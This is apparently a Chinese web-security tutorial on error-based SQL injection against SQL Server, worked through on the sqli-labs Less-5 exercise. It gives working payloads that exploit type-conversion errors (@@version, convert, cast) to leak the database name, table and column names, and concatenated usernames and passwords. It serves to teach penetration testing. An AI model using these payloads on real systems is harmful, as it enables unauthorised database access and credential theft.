我们知道SQL Server是由微软开发,很优秀的数据库,可以精确地定位错误消息,这点对开发人员非常友好,特别是对于web安全工作者来说,利用SQL Server报错的信息对目标系统有效进行渗透测试。

报错注入的使用场景学习MYSQL注入时已经说过,这里就不再赘述,在Less-5中输入id=1' and 1=(@@version)--+ 进行数据库报错:

数据库在执行sql语句时,会把1=(@@version)语句中括号里的内容当做int类型的数字来处理,但@@version本身是nvarchar类型的字符串,SQL Server在将ncarchar转换为init类型会失败并报错。

SQL Server报错注入原理就是利用数据类型转换报错。把字符型转换为数字型,但表现形式仍然为字符,导致数据库无法识别产生报错,同时在报错的过程中也会把sql语句查询的信息展示出来,例如上图中就把查询到的数据库版本信息结合报错信息回显到页面了。

再举个栗子,通过报错注入查询当前数据库下所有的表名,可以构造SQL语句:

id=1' and 1=(select top 1 table_name from information_schema.tables)--+

注意,由于括号前面有=号,并且select语句查询出来的结果不止一个,因此需要结合top语句把查询结果限制为一个,通过报错方式把结果展示到web页面,然后使用top n语句依次把后面的表名查询出来。

也可以使用for xml path和quotename语句把结果显示为一行,构造sql语句:

select quotename(table_name) from information_schema.tables for xml path('')

查询数据库表users的所有列名:

select quotename(column_name) from information_schema.columns where table_name='users' for xml path('')

查询数据库表users表的所有用户名和密码:

select username,':',password,'|' from users for xml path('')

通常页面由于字数显示,可能无法把所有用户名和密码显示完毕,可以通过substring函数把查询的结果分段进行显示,从第一个字符开始,显示250个字符:

select substring((select username,':',password,'|' from users for xml path('')),1,250)

SQL Server数据库的substring函数用法和MYSQL的用法是一样的。

查询users表的所有数据信息:

基于convert函数和cast函数的报错注入。

convert函数是把时间定义一个数据类型(格式),函数形式:

convert(data_type(length),data_to_be_converted,style)

convert函数的参数说明:

data_type(length):表示定义数据类型,length代表可选长度

data_to_be_converted:表示时间,也就是需要转换的值

style:表示规定时间/日期的输出格式

convert函数用法:

varchar(20)表示定义时间为varchar的数据类型,长度为20,getdate函数是用于获取当前的时间,111则代表时间以年/月/日(即2020/07/11)的格式进行输出。

如果在convert函数中将查询到的数据库名转换为int类型时就会报错(例如这样的sql语句:select CONVERT(int , db_name() , 111)),并且会把查询到的数据库名也给暴露出来。

基于convert函数的报错注入:

id=1' and 1=convert(int,db_name(),111) --+

对于以上sql语句来说,convert函数会将第二个参数db_name()执行后的结果尝试转换为int类型,但由于db_name()返回的结果是nvarchar类型的,sql server无法将nvarchar类型转换为指定的int类型,因此convert函数会进行报错提示,同时会将第二个参数指定的sql语句所查询出的结果连同错误信息一起爆出来

cast函数是将某种数据类型转换为另一种数据类型,函数形式:

cast(expression as data_type)

cast参数说明:

expression :任何有效的sql server表达式

as:               用于分割两个参数,as之前的参数(expression)是要处理的数据,as之后的参数(data_type)是要转换的数据类型

data_type:   目标系统所提供的数据类型,包括bigint和sql_varlant,不能使用用户定义的数据类型

cast函数用法如下:

上面的SQL语句中就是讲123456这个数据转换成int类型。

如果使用cast函数将查询到的数据库名转换成int类型就会报错,并在报错的同时会把查询到的数据库名security暴露出来。

基于cast函数的报错注入:

id=1' and 1=cast(host_name() as int) --+

从系统视图数据表sysobjects中获取表名时可跳过查询库名,直接查询当前用户数据库下的所有表名,构造sql语句:

select quotename(name) from sysobjects where xtype='u' for xml path('')

查询列名,sql语句如下:

select quotename(name) from syscolumns where id=(select id from sysobjects where name='users' and xtype='u') for xml path('')

查询users表中的所有数据,sql语句如下:

select substring((select username,':',password,'|' from users for xml path('')),1,250)

除了用substring函数可以分段显示用户名和密码之外,还可以使用排除法依次显示用户名和密码。

12-Web安全—基于SQL Server的报错注入——and,conver,cast相关推荐

  1. 两个步骤解决 SQL Server 登录报错 通过端口 1433 连接到主机 的 TCP/IP 连接失败。 错误:“connect timed out”

    文章目录 Intro 修改 防火墙 SQL Server 端口监听规则 连接测试 Intro 两台机器: Windows 10 - 安装SQL Server服务 mac 试图通过客户端连接SQL Se ...

  2. windows11安装SQL server数据库报错等待数据库引擎恢复句柄失败

    官网:https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 我的系统是win11的,一开始安装的是2019版本的SQL ser ...

  3. Windows Server 2008 安装 SQL Server 2008 报错:试图执行未经授权的操作

    今天在安装SQL Server 2008的时候报错:试图执行未经授权的操作 然后在网上找了很多解决办法: 给setup.exe可执行文件的USER用户添加完全控制权限 取消setup.exe可执行文件 ...

  4. 安装sql server 2008 报错

    安装sql server 2008 management,提示错误:此计算机上安装了 Microsoft Visual Studio 2008 的早期版本.请在安装 SQL Server 2008 前 ...

  5. IBM-X3650 6核处理器安装sql server 2005报错解决方法

    1.在运行中输入msconfig 2.选择BOOT.INI在高级选项 3.勾选/NUMPROC,数字选择为2的n次方,点击确定 4.重新启动系统后,可正常安装SQL Server 2005 5.安装完 ...

  6. 【less-1】基于SQLI的SQL字符型报错注入

    实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 文章目录 实验目的 实验环境 实验原理 实验步骤 第一步 登录SQLI-Labs平台 第二步 登录Kali平台,启动 ...

  7. 安装sql server 2008 报错“检查 Microsoft Visual Studio 2008 的早期版本”失败的问题解

    安装sql server 2008 management,提示错误:此计算机上安装了 Microsoft Visual Studio 2008 的早期版本.请在安装 SQL Server 2008 前 ...

  8. SQL Server 安装报错找不到vc_red.msi

    下载WindowsInstallerCleanUp 软件 将选中的两个删掉. 再次运行SQL Server 安装程序,好了.

  9. SQL Server数据库报错:无法打开物理文件

    1.报错:无法打开物理文件 问题原因:可能是文件访问权限方面的问题. 解决方案:找到数据库的mdf和ldf文件,赋予权限即可.如下图: 找到mdf和ldf文件,本演示以ldf为例. 1.点击文件右键属 ...

最新文章

  1. 心得丨程序员们,AI来了,机会来了,危机也来了,我们该咋办?
  2. ADO.NET Entity Framework 简介
  3. 印象笔记终于支持Markdown了 !你还会再用其他笔记吗?
  4. centos7中安装JDK8-281版本
  5. Super-palindrome(思维)
  6. nginx动静分离配置_Nginx动静分离
  7. 白鹭引擎拉伸高度_摩托车界厚道王!129cc单缸风冷引擎,座高740mm+数字盘,6400起...
  8. win10系统下搭建FTP服务器(完成文件上传与下载)
  9. 计算机视觉论文-2021-11-03
  10. 【游记】CQOI2021
  11. vim利剑 之插件管理 pathogen
  12. 原生Winows7系统添加USB3.0的驱动
  13. 无法访问网上邻居/网络打印机的解决方法
  14. 交易猫源码搭建完整版
  15. Spark创建空的DataFrame
  16. ARCGIS定义CGCS_2000坐标系下的高斯投影
  17. 【每天一个Python小知识】NumPy中的np.where
  18. IP、服务器、路由器配置
  19. 智能计算机软件工具,JM智能一键封装工具
  20. 【HTML】location对象

热门文章

  1. android动态权限依赖库,动态申请app权限:郭霖大神的PermissionX库带你告别原生
  2. 在 2040 年前,实现净零碳排放
  3. 构建初级前端页面以及重构开发环境(from 知乎)
  4. SE 例题recap
  5. 学习笔记14--环境感知传感器技术之毫米波雷达
  6. 银行软件性能测试,银行手机银行系统性能测试方案.pdf
  7. cadence安装完怎么打开_Cadence IC使用教程
  8. 阿里云服务器搭建Django环境二:django+mysql环境搭建
  9. 第三章第二十四题(游戏:抽牌)(Game: pick a card)
  10. java 奇数trun_N26-博客作业-week15